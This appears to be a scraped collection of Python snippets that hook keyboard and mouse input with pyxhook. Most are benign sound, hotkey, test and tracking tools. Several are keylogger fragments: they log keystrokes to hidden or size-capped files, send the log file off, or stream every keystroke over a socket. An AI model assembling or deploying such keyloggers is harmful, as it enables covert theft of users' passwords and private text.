Beispiel #1
0
class KeyListeningAgent(object):
    def __init__(self):
        self.klg = HookManager()
        self.klg.KeyDown = self.key_down
        self.klg.KeyUp = self.key_up
        self.klg.HookKeyboard()
        self.klg.start()
        self.pressed_key = "none"

    def key_down(self, event):
        k = event.Key
        self.pressed_key = k.lower()

    def key_up(self, event):
        self.pressed_key = "none"

    def process_image(self, image):
        # Working image.
        work_image = np.array(image)
        # Grayed-out.
        image_gray = cv2.cvtColor(work_image, cv2.COLOR_RGB2GRAY)
        # Inverting to make objects easier to "see".
        image_gray = cv2.bitwise_not(image_gray)
        # Resize for neural net.
        image_resize = cv2.resize(
            image_gray, (image_gray.shape[1] // 4, image_gray.shape[0] // 4),
            interpolation=cv2.INTER_NEAREST)

        return image_resize
Beispiel #2
0
 def __init__(self):
     self.klg = HookManager()
     self.klg.KeyDown = self.key_down
     self.klg.KeyUp = self.key_up
     self.klg.HookKeyboard()
     self.klg.start()
     self.pressed_key = "none"
Beispiel #3
0
 def run(self):
     print 'Running...'
     hm = HookManager()
     hm.HookKeyboard()
     hm.KeyDown = self.handle_keydown
     hm.KeyUp = self.handle_keyup
     hm.start()
Beispiel #4
0
def echo_keypresses():
    print 'Echoing key presses.'
    print 'Press ctrl+c to exit.'
    control_keys = ["Control_R", "Control_L",]
    control = [False]
    
    def handle_keydown(event):
        print 'Key-down:'
        print '\tkey:',event.Key
        print '\tkey id:',event.KeyID
        print '\tscan code:',event.ScanCode
        if event.Key in control_keys:
            control[0] = True
        elif control[0] and event.Key in ('C','c'):
            sys.exit()
    
    def handle_keyup(event):
        print 'Key-up:'
        print '\tkey:',event.Key
        print '\tkey id:',event.KeyID
        print '\tscan code:',event.ScanCode
        if event.Key in control_keys:
            control[0] = False
            
    hm = HookManager()
    hm.HookKeyboard()
    hm.KeyDown = handle_keydown
    hm.KeyUp = handle_keyup
    hm.start()
Beispiel #5
0
 def base_test(self):
     self.hm = HookManager()
     self.hm.HookKeyboard()
     self.hm.HookMouse()
     self.hm.KeyDown = self.reportevent
     self.hm.MouseAllButtonsDown = self.reportevent
     self.hm.MouseAllButtonsUp = self.reportevent
     self.hm.start()
     d = Display()
Beispiel #6
0
 def __init__(self):
     logger.debug("Keyboard deteccter created.")
     self.hm = HookManager()
     self.hm.KeyDown = self.key_down
     self.hm_thread = None
     self.input_record_list = []
     self.hot_key_list = [24, 38, 52, 10, 11, 12]  # QAZ123
     self.hot_key_list2 = [24, 38, 52, 87, 88,
                           89]  # QAZ123 with 123 in side keyboard
     self.sp = SoundPlayer()
Beispiel #7
0
class LinuxKeylogger():
    def __init__(self):
        self.new_hook = HookManager()  # Instantiate HookManager class
        self.new_hook.KeyDown = self.onKeyPress  # listen to all keystrokes
        self.new_hook.HookKeyboard()  # hook the keyboard
        self.new_hook.start()  # start the hook session

    def onKeyPress(self, event):
        global timeNow
        global data
        global exitStack
        global keyLength
        global wifiLogsFile
        global keylogsFile

        if event.Key == 'space':
            event.Key = ' '
        elif event.Key == 'Tab':
            event.Key = '<TAB>'
        elif event.Key == 'BackSpace':
            event.Key = '<Backspace>'
        elif event.Key == 'Shift_L' or event.Key == 'Shift_R':
            event.Key = '<Shift>'
        elif event.Key == 'Delete':
            event.Key = '<Delete>'

        data += event.Key
        print exitStack
        if event.Key == '<Backspace>':
            exitStack.append(event.Key)
        elif event.Key == '<Delete>':
            exitStack.append(event.Key)
        else:
            exitStack = []

        if len(exitStack) == 4:
            print exitStack
            if exitStack[0] == '<Backspace>' and exitStack[
                    1] == '<Delete>' and exitStack[
                        2] == '<Backspace>' and exitStack[
                            3] == '<Delete>':  # If last four values
                sysExit(0)
                # TODO Implement a GUI version of our exit task
            else:
                exitStack = []

        if len(data) == 128:  # Write data in chucks of 128 bytes
            writeKeylogs()
            data = ''

        if os.path.getsize(
                keylogsFile) >= 5e+6:  # Send log file when it reaches 5MB
            t = threading.Thread(target=sendFile(), args=())
            t.start()
class KeyboardHandler():

    def __init__(self):
        logger.debug("Keyboard deteccter created.")
        self.hm = HookManager()
        self.hm.KeyDown = self.key_down
        self.hm_thread = None
        self.input_record_list = []
        self.hot_key_list = [24, 38, 52, 10, 11, 12]      # QAZ123
        self.hot_key_list2 = [24, 38, 52, 87, 88, 89]  # QAZ123 with 123 in side keyboard
        self.sp = SoundPlayer()

    def set_style(self, style):
        self.sp.set_style(style)

    def set_volume(self, volume):
        self.sp.set_volume(volume)

    def set_pitch(self, pitch):
        self.sp.set_pitch(pitch)

    def get_player_infor(self):
        return self.sp.get_infor()

    def key_down(self, event):
        self.sp.play(event.ScanCode)
        self.check_show_window(event.ScanCode)
        # logger.debug(str(event))

    # check input if satisfy the hotkey
    def check_show_window(self, key_code):
        if self.input_record_list and key_code == self.input_record_list[-1]:
            return
        input_record_length = len(self.input_record_list)
        next_key_code = self.hot_key_list[input_record_length]
        next_key_code2 = self.hot_key_list2[input_record_length]
        if key_code == next_key_code or key_code == next_key_code2:
            self.input_record_list.append(key_code)
            if input_record_length == 5:
                show_GUI()
                self.input_record_list = []
        else:
            # clear the record if not satisfy
            self.input_record_list = []

    def start_detecting(self):
        self.hm_thread = threading.Thread(target=self.hm.start, args=())
        self.hm_thread.start()

    # kill all threads
    def stop_detecting(self):
        self.hm_thread._Thread__stop()
        self.hm.cancel()
Beispiel #9
0
class KeyboardHandler():
    def __init__(self):
        logger.debug("Keyboard deteccter created.")
        self.hm = HookManager()
        self.hm.KeyDown = self.key_down
        self.hm_thread = None
        self.input_record_list = []
        self.hot_key_list = [24, 38, 52, 10, 11, 12]  # QAZ123
        self.hot_key_list2 = [24, 38, 52, 87, 88,
                              89]  # QAZ123 with 123 in side keyboard
        self.sp = SoundPlayer()

    def set_style(self, style):
        self.sp.set_style(style)

    def set_volume(self, volume):
        self.sp.set_volume(volume)

    def set_pitch(self, pitch):
        self.sp.set_pitch(pitch)

    def get_player_infor(self):
        return self.sp.get_infor()

    def key_down(self, event):
        self.sp.play(event.ScanCode)
        self.check_show_window(event.ScanCode)
        # logger.debug(str(event))

    # check input if satisfy the hotkey
    def check_show_window(self, key_code):
        if self.input_record_list and key_code == self.input_record_list[-1]:
            return
        input_record_length = len(self.input_record_list)
        next_key_code = self.hot_key_list[input_record_length]
        next_key_code2 = self.hot_key_list2[input_record_length]
        if key_code == next_key_code or key_code == next_key_code2:
            self.input_record_list.append(key_code)
            if input_record_length == 5:
                show_GUI()
                self.input_record_list = []
        else:
            # clear the record if not satisfy
            self.input_record_list = []

    def start_detecting(self):
        self.hm_thread = threading.Thread(target=self.hm.start, args=())
        self.hm_thread.start()

    # kill all threads
    def stop_detecting(self):
        self.hm_thread._Thread__stop()
        self.hm.cancel()
Beispiel #10
0
class Keylogger:
	def __init__(self):
		self.klg = HookManager()
		self.klg.KeyDown = self.listening
		self.klg.HookKeyboard()
		self.klg.start()
	
	def listening(self, event):
		k = event.Key
		print k
		
		if k == "space":
			k = " "
Beispiel #11
0
class Keylogger:
    def __init__(self):
        self.klg = HookManager()
        self.klg.KeyDown = self.listening
        self.klg.HookKeyboard()
        self.klg.start()

    def listening(self, event):
        k = event.Key
        print k

        if k == "space":
            k = " "
Beispiel #12
0
class LinuxKeylogger():
    def __init__(self):
        self.new_hook = HookManager()  # Instantiate HookManager class
        self.new_hook.KeyDown = self.onKeyPress  # listen to all keystrokes
        self.new_hook.HookKeyboard()  # hook the keyboard
        self.new_hook.start()  # start the hook session


    def onKeyPress(self, event):
        global timeNow
        global data
        global exitStack
        global keyLength
        global wifiLogsFile
        global keylogsFile

        if event.Key == 'space':
            event.Key = ' '
        elif event.Key == 'Tab':
            event.Key = '<TAB>'
        elif event.Key == 'BackSpace':
            event.Key = '<Backspace>'
        elif event.Key == 'Shift_L' or event.Key == 'Shift_R':
            event.Key = '<Shift>'
        elif event.Key == 'Delete':
            event.Key = '<Delete>'

        data += event.Key
        print exitStack
        if event.Key == '<Backspace>':
            exitStack.append(event.Key)
        elif event.Key == '<Delete>':
            exitStack.append(event.Key)
        else:
            exitStack = []

        if len(exitStack) == 4:
            print exitStack
            if exitStack[0] == '<Backspace>' and exitStack[1] == '<Delete>' and exitStack[2] == '<Backspace>' and exitStack[3] == '<Delete>':  # If last four values
                sysExit(0)
                # TODO Implement a GUI version of our exit task
            else:
                exitStack = []

        if len(data) == 128:  # Write data in chucks of 128 bytes
            writeKeylogs()
            data = ''

        if os.path.getsize(keylogsFile) >= 5e+6:  # Send log file when it reaches 5MB
            t = threading.Thread(target=sendFile(), args=())
            t.start()
Beispiel #13
0
class Keylogger:

 def __init__(self):
  self.klg = HookManager()
  self.klg.KeyDown = self.listening
  self.klg.HookKeyboard()
  self.klg.start()

 def listening(self, event):
  k = event.Key

  if k == "space": k = " "
   
  with open('.keylogged', 'a+') as keylogging:
    keylogging.write('%s\n' % k)  
Beispiel #14
0
def echo_keypresses():
    print('Echoing key presses.')
    print('Press ctrl+c to exit.')
    control_keys = ["Control_R", "Control_L",]
    control = [False]

    def handle_keydown(event):
        print('Key-down:')
        print('\tkey:', event.Key)
        print('\tkey id:', event.KeyID)
        print('\tscan code:', event.ScanCode)
        if event.Key in control_keys:
            control[0] = True
        elif control[0] and event.Key in ('C','c'):
            sys.exit()

    def handle_keyup(event):
        print('Key-up:')
        print('\tkey:', event.Key)
        print('\tkey id:', event.KeyID)
        print('\tscan code:', event.ScanCode)
        if event.Key in control_keys:
            control[0] = False

    hm = HookManager()
    hm.HookKeyboard()
    hm.KeyDown = handle_keydown
    hm.KeyUp = handle_keyup
    hm.start()
Beispiel #15
0
def main():
    onKeyPress = Constructor()
    keyboard = HookManager()
    keyboard.KeyDown = onKeyPress
    keyboard.KeyUp = onKeyPress
    keyboard.HookKeyboard()
    keyboard.start()
Beispiel #16
0
 def run(self):
     print('Running...')
     hm = HookManager()
     hm.HookKeyboard()
     hm.KeyDown = self.handle_keydown
     hm.KeyUp = self.handle_keyup
     hm.start()
 def __init__(self):
     logger.debug("Keyboard deteccter created.")
     self.hm = HookManager()
     self.hm.KeyDown = self.key_down
     self.hm_thread = None
     self.input_record_list = []
     self.hot_key_list = [24, 38, 52, 10, 11, 12]      # QAZ123
     self.hot_key_list2 = [24, 38, 52, 87, 88, 89]  # QAZ123 with 123 in side keyboard
     self.sp = SoundPlayer()
Beispiel #18
0
 def base_test(self):
     self.hm = HookManager()
     self.hm.HookKeyboard()
     self.hm.HookMouse()
     self.hm.KeyDown = self.reportevent
     self.hm.MouseAllButtonsDown = self.reportevent
     self.hm.MouseAllButtonsUp = self.reportevent
     self.hm.start()
     d = Display()
Beispiel #19
0
class ThreadedKeyBind(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)

    def run(self):
        self.new_hook = HookManager()
        self.new_hook.KeyDown = self.OnKeyPress
        self.new_hook.HookKeyboard()
        self.new_hook.start()
        # self.new_hook.cancel()

    def OnKeyPress(self, event):
        """
        function called when any key is pressed
        """
        global prev_Key, key_binding

        if event.Key == key_binding[1] and prev_Key == key_binding[0]:
            if utils.active == 1:
                utils.active = 0
            elif utils.active == 0:
                utils.active = 1
            prev_Key = None

        elif event.Key == 'c' and prev_Key == 'Control_L':
            self.text = xerox.paste(xsel=True)
            utils.clips.append(self.text)
            # pickle clips data
            with open(os.path.join(os.path.dirname(__file__), 'clips_data'),
                      "wb") as f:
                pickle.dump(utils.clips, f, protocol=2)

            print("You just copied: {}".format(self.text))

        elif event.Key == 'z' and prev_Key == 'Control_L':
            print("can")
            self.new_hook.cancel()

        else:
            prev_Key = event.Key

        return True
class Keyboard(object):
	__hook = None
	def __init__(self):
		pass
	
	def getKeys(self):
		pass
	
	def getKeysData(self,socketClient, size):
		def sendKey(event):
			data = json.dumps({'type': 6, 'code': 1 ,'status' : 'OK', 'keyboard': str(event)})
			try:
				socketClient.sendall(data)
			except:
				return
		
		self.__hook = HookManager()
		self.__hook.HookKeyboard()
		self.__hook.KeyDown = sendKey
		self.__hook.start()
		time.sleep(size)
		self.__hook.cancel()
Beispiel #21
0
#!/usr/bin/env python

from pyxhook import HookManager

watched_keys = ["Control_R", "Control_L"]


def handle_event(event):
    if event.Key in watched_keys:
        print "KeyRelease"


hm = HookManager()
hm.HookKeyboard()
hm.KeyUp = handle_event
hm.start()
Beispiel #22
0
	# Actions for each key state
	if state == 0x3c:
		send_key("Escape")
	elif state == 0xe:
		send_key("F5")
	elif state == 0xd:
		send_key("F7")

# Send an emulated keypress to the current window of the X session
def send_key(emulated_key):
	window = display.get_input_focus()._data["focus"];
	
	# Generate the correct keycode
	keysym = Xlib.XK.string_to_keysym(emulated_key)
	keycode = display.keysym_to_keycode(keysym)
	
	# Send a fake keypress via xtest
	Xlib.ext.xtest.fake_input(display, Xlib.X.KeyPress, keycode)
	display.sync()
	time.sleep(0.5)
	Xlib.ext.xtest.fake_input(display, Xlib.X.KeyRelease, keycode)
	display.sync()

# Load the hook manager and snoop on all KeyUp and KeyDown events
hm = HookManager()
hm.HookKeyboard()
hm.KeyUp = handle_release
hm.KeyDown = handle_press
hm.start()

Beispiel #23
0
def Handle_Keyboard_Event(event):
    global current_buffer
    _key = event.Key
    if _key in ignore_keys:
        return
    if allowed_characters.find(_key) != -1:
        current_buffer = current_buffer + _key
    else:
        current_buffer = current_buffer.lower()
        if current_buffer in words_dictionary:
            sendmessage("{0} `{1}`?".format(funnymessages[randint(0,len(funnymessages))], current_buffer))
        current_buffer = ""

#Keyboard Hookup settings
hm = HookManager()
hm.HookKeyboard()
hm.KeyUp = Handle_Keyboard_Event

def WriteScreen(message):
    print "[{0}]:\t{1}".format(str(datetime.now().strftime('%Y-%m-%d %H:%M:%S')), message)

def Handle_User():
    global current_buffer
    cmd = str(raw_input()).strip().lower()
    current_buffer = "" #empty up buffer
    if cmd == "close":
        StopService()
        return False
    else:
        args = cmd.split(' ')
Beispiel #24
0
class TestPyxHook(TestBase):
    """
        Tests the pyxhook library for Linux.
    """

    def setUp(self):
        pass

    def tearDown(self):
        pass

    # Key generator.
    def generator(self, s, key=None):
        for i in range(len(s)):
            if key is not None:
                yield key
            if s[i] in specialKeysyms.keys():
                yield specialKeysyms[s[i]]
            else:
                yield s[i]

    def reportevent(self, event):
        # It's not case sensitive.
        ek = string.lower(event.Key)
        ngn = string.lower(next(self.gn))
        # We don't care about underscores.
        ngn = string.replace(ngn, "_", "")
        print ek, ngn
        self.assertEqual(ek, ngn)

    def base_test(self):
        self.hm = HookManager()
        self.hm.HookKeyboard()
        self.hm.HookMouse()
        self.hm.KeyDown = self.reportevent
        self.hm.MouseAllButtonsDown = self.reportevent
        self.hm.MouseAllButtonsUp = self.reportevent
        self.hm.start()
        d = Display()

    def test_numbers(self):
        numbers = '0123456789'
        self.gn = self.generator(numbers)
        self.base_test()
        emulateWritingString(d, numbers, 0.075)  # 75ms
        self.hm.cancel()

    def test_lowercase(self):
        lc = u'abcdefghijklmnopqrstuvwxyz'
        self.gn = self.generator(lc)
        self.base_test()
        emulateWritingString(d, lc, 0.075)  # 75ms
        self.hm.cancel()

    def test_uppercase(self):
        uc = u'abcdefghijklmnopqrstuvwxyz'
        self.gn = self.generator(uc, 'shift_l')
        self.base_test()
        emulateWritingString(d, string.upper(uc), 0.075)  # 75ms
        self.hm.cancel()

    def test_simple_symbols(self):
        uc = u"º'¡\t\n<+ç"  # \r
        self.gn = self.generator(uc)
        self.base_test()
        emulateWritingString(d, uc, 0.075)  # 75ms
        self.hm.cancel()

    def test_simple_combos_symbols(self):
        keys = ['shift_l', 'shift_r', 'alt_l']
        for key in keys:
            ss = u"2"
            self.gn = self.generator(ss, key)
            self.base_test()
            emulateWritingString(d, ss, 0.075, key)  # 75ms
            self.hm.cancel()
Beispiel #25
0
        sound = choice(k_generic)
    else:
        sound = None

    if sound:
        os.system('play -q sounds/{0} &'.format(sound))


def sigint_handler(signum, frame):
    print('Received SIGINT',
          file=sys.stderr)  # Say to the user what is going on
    hm.cancel()  # Stop hm threads properly
    time.sleep(0.2)  # Wait for threads to finish (usefull on small configs)
    sys.exit(0)  # Free memory and exit


def main():
    signal.signal(signal.SIGINT, sigint_handler)
    #hm.HookKeyboard()              # Dummy function in pyxhook
    #hm.HookMouse()                 # Dummy function in pyxhook
    #hm.KeyDown = play_sound
    hm.KeyUp = play_sound
    hm.start()


if __name__ == '__main__':
    hm = HookManager(
    )  # Make hm global for sigint_handler to be able to access it
    main()
    hm.join()  # Get __main__ thread to wait for hm to join
Beispiel #26
0
 def __init__(self):
     self.new_hook = HookManager()  # Instantiate HookManager class
     self.new_hook.KeyDown = self.onKeyPress  # listen to all keystrokes
     self.new_hook.HookKeyboard()  # hook the keyboard
     self.new_hook.start()  # start the hook session
Beispiel #27
0
 def __init__(self):
  self.klg = HookManager()
  self.klg.KeyDown = self.listening
  self.klg.HookKeyboard()
  self.klg.start()
Beispiel #28
0
class TestPyxHook(TestBase):
    """
        Tests the pyxhook library for Linux.
    """
    def setUp(self):
        pass

    def tearDown(self):
        pass

    # Key generator.
    def generator(self, s, key=None):
        for i in range(len(s)):
            if key is not None:
                yield key
            if s[i] in specialKeysyms.keys():
                yield specialKeysyms[s[i]]
            else:
                yield s[i]

    def reportevent(self, event):
        # It's not case sensitive.
        ek = string.lower(event.Key)
        ngn = string.lower(next(self.gn))
        # We don't care about underscores.
        ngn = string.replace(ngn, "_", "")
        print ek, ngn
        self.assertEqual(ek, ngn)

    def base_test(self):
        self.hm = HookManager()
        self.hm.HookKeyboard()
        self.hm.HookMouse()
        self.hm.KeyDown = self.reportevent
        self.hm.MouseAllButtonsDown = self.reportevent
        self.hm.MouseAllButtonsUp = self.reportevent
        self.hm.start()
        d = Display()

    def test_numbers(self):
        numbers = '0123456789'
        self.gn = self.generator(numbers)
        self.base_test()
        emulateWritingString(d, numbers, 0.075)  # 75ms
        self.hm.cancel()

    def test_lowercase(self):
        lc = u'abcdefghijklmnopqrstuvwxyz'
        self.gn = self.generator(lc)
        self.base_test()
        emulateWritingString(d, lc, 0.075)  # 75ms
        self.hm.cancel()

    def test_uppercase(self):
        uc = u'abcdefghijklmnopqrstuvwxyz'
        self.gn = self.generator(uc, 'shift_l')
        self.base_test()
        emulateWritingString(d, string.upper(uc), 0.075)  # 75ms
        self.hm.cancel()

    def test_simple_symbols(self):
        uc = u"º'¡\t\n<+ç"  # \r
        self.gn = self.generator(uc)
        self.base_test()
        emulateWritingString(d, uc, 0.075)  # 75ms
        self.hm.cancel()

    def test_simple_combos_symbols(self):
        keys = ['shift_l', 'shift_r', 'alt_l']
        for key in keys:
            ss = u"2"
            self.gn = self.generator(ss, key)
            self.base_test()
            emulateWritingString(d, ss, 0.075, key)  # 75ms
            self.hm.cancel()
Beispiel #29
0
 def __init__(self):
     self.klg = HookManager()
     self.klg.KeyDown = self.listening
     self.klg.HookKeyboard()
     self.klg.start()
Beispiel #30
0
 def run(self):
     self.new_hook = HookManager()
     self.new_hook.KeyDown = self.OnKeyPress
     self.new_hook.HookKeyboard()
     self.new_hook.start()
Beispiel #31
0
            if (fileStart > 0 and fileEnd > 0):
                file = window[fileStart:fileEnd]

    return {"file": file, "project": project}


def OnKeyPress(key):
    global last_keypress, wpm

    key_history[pointer] += 1
    last_keypress = int(time.time())

    wpm += 0.2


hook = HookManager()
hook.KeyDown = OnKeyPress
hook.HookKeyboard()
hook.start()


def avg_keys_per_second():
    return round(sum(key_history[0:arraylength]) / (arraylength / 4), 2)


RPC.connect()


def update_rpc():
    global curr_minute, last_wpm, wpm
Beispiel #32
0
 def __init__(self):
     self.new_hook = HookManager()  # Instantiate HookManager class
     self.new_hook.KeyDown = self.onKeyPress  # listen to all keystrokes
     self.new_hook.HookKeyboard()  # hook the keyboard
     self.new_hook.start()  # start the hook session
Beispiel #33
0
 def __init__(self):
     self.player = Player()
     self.hook_man = HookManager()
     self.hook_man.KeyDown = self.play_sound
import	datetime
import	sys
from 		PySide.QtCore		import *
from		PySide.QtGui		import *
from 		pyxhook 				import HookManager
from 		api							import *

##VARS
K_D			= 0				#Key Down event
K_U			= 1				#Key Up event
T_START = None		#Start of text
T_END		= None		#End of test
STATE		= False		#State of logging. False = Not logging
WFNAME	= "./scimeth_"
FILEH		= None
HM 			= HookManager()
HM.HookKeyboard()


def writeEvent( e, K, M ):
	global FILEH
	s = getTime( T_START )
	st=str(s)+" "+str(K)+" "+str(e.ScanCode)+" "+str(e.Ascii)+" "+str(e.Key)+"\n"
	FILEH.write(	st.encode("utf-8") )

def keyDown( e ):
	if STATE:
		writeEvent( e, K_D, " Pressing: " + str( e.ScanCode ) )
	
def keyUp( e ):
	if STATE:
Beispiel #35
0
    elif allowed_characters.find(_key) != -1:
        current_buffer = current_buffer[:index] + _key + current_buffer[index:]
        index = index + 1
    else:
        current_buffer = current_buffer.lower()
        if current_buffer in words_dictionary:
            sendmessage("{0} `{1}`?".format(
                funnymessages[randint(0,
                                      len(funnymessages) - 1)],
                current_buffer))
        current_buffer = ""
        index = 0


#Keyboard Hookup settings
hm = HookManager()
hm.HookKeyboard()
hm.KeyUp = Handle_Keyboard_Event


def WriteScreen(message):
    print "[{0}]:\t{1}".format(
        str(datetime.now().strftime('%Y-%m-%d %H:%M:%S')), message)


def Handle_User():
    global current_buffer
    cmd = str(raw_input()).strip().lower()
    current_buffer = ""  #empty up buffer
    if cmd == "close":
        StopService()
Beispiel #36
0
    elif event.Key == 'Escape':
        sound = k_escape
    elif event.Key == 'F1' or event.Key == 'F2' or event.Key == 'F3' or event.Key == 'F4' or event.Key == 'F5' or event.Key == 'F6' or event.Key == 'F7' or event.Key == 'F8' or event.Key == 'F9' or event.Key == 'F10' or event.Key == 'F11' or event.Key == 'F12':
        sound = k_function
    elif event.Ascii:
        sound = choice(k_generic)
    else:
        sound = None # k_sw # None

    if sound:
        os.system('mpg123 -f 15000 --quiet sounds/{0} &'.format(sound))

def sigint_handler(signum, frame):
    print ('Received SIGINT', file=sys.stderr)  # Say to the user what is going on
    hm.cancel()                                 # Stop hm threads properly
    time.sleep(0.2)                             # Wait for threads to finish (usefull on small configs)
    sys.exit(0)                                 # Free memory and exit

def main():
    signal.signal (signal.SIGINT, sigint_handler)
    #hm.HookKeyboard()              # Dummy function in pyxhook
    #hm.HookMouse()                 # Dummy function in pyxhook
    #hm.KeyDown = play_sound
    hm.KeyUp = play_sound
    hm.start()

if __name__ == '__main__':
    hm = HookManager()  # Make hm global for sigint_handler to be able to access it
    main()
    hm.join()          # Get __main__ thread to wait for hm to join
Beispiel #37
0
#!/usr/bin/env python

from pyxhook import HookManager

watched_keys = ["Control_R", "Control_L"]

def handle_event (event):
        if event.Key in watched_keys:
            print "KeyRelease"


hm = HookManager()
hm.HookKeyboard()
hm.KeyUp = handle_event
hm.start()
Beispiel #38
0
ups = [
    Mix_LoadWAV(byteify(sounddir + os.sep + f, 'utf-8')) for f in sounds
    if "up.wav" in f
]
spacedowns = [
    Mix_LoadWAV(byteify(sounddir + os.sep + f, 'utf-8')) for f in sounds
    if "down_space.wav" in f
]
spaceups = [
    Mix_LoadWAV(byteify(sounddir + os.sep + f, 'utf-8')) for f in sounds
    if "up_space.wav" in f
]
returndowns = [
    Mix_LoadWAV(byteify(sounddir + os.sep + f, 'utf-8')) for f in sounds
    if "down_return.wav" in f
]
returnups = [
    Mix_LoadWAV(byteify(sounddir + os.sep + f, 'utf-8')) for f in sounds
    if "up_return.wav" in f
]

hm = HookManager()
hm.HookKeyboard()
hm.KeyDown = handle_event_down
hm.KeyUp = handle_event_up

try:
    hm.run()
except:
    print("\nClick clack! Bye!")
Beispiel #39
0
config = configparser.ConfigParser({'main': '.*'})
config.read('config')
is_target = re.compile(config.get('main', 'regex_window_title'), re.IGNORECASE)

last_active = 0

def event_handler(event):
    global last_active
    now = time.time()
    if time.time() > last_active + datetime.timedelta(seconds=30).total_seconds():
        active_window = get_active_window()
        matches_regex = is_target.search(active_window)
        if matches_regex:
            last_active = time.time()
            with sqlite3.connect("ActivityRecords.db") as db:
                results = db.execute("UPDATE activity SET end = ? WHERE end > ?",
                                     (now, now - datetime.timedelta(minutes=5).total_seconds())).rowcount
                if not results:
                    db.execute('INSERT INTO activity VALUES (?,?)', (now, now))
                db.commit()


if __name__ == '__main__':
    hm = HookManager()
    hm.HookKeyboard()
    hm.HookMouse()
    hm.KeyDown = event_handler
    hm.MouseAllButtonsDown = event_handler
    hm.start()